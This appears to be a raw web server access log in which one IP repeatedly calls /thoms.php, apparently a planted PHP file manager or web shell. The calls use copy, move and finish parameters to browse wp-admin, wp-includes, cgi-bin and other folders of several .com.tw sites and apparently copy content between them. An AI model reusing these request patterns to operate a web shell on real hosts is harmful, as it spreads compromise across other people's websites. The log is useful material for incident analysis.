45.135.193.11 - - [11/Sep/2026:23:07:49 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 200 13618 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:49 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:49 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:49 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17439 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:49 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:49 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:49 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 200 12052 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:49 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17438 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:49 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 200 59448 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17366 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17367 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?p=bogroup.com.tw%2F.well-known HTTP/1.1" 200 12581 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 200 12039 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fupgrade HTTP/1.1" 200 13766 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-content HTTP/1.1" 200 13612 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Flog-seed HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 200 13276 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?p=bogroup.com.tw%2Flog-seed HTTP/1.1" 200 13416 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 200 28770 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:51 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 200 12594 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:51 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17386 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:50 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:51 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 200 12044 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:51 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 200 14193 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:51 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17386 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:51 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 200 13446 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:51 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 200 14107 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:51 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 200 28713 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:51 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 200 13118 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 12039 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 13625 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17350 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17358 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 13271 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 14157 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 12584 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13414 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 12585 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:52 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59206 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
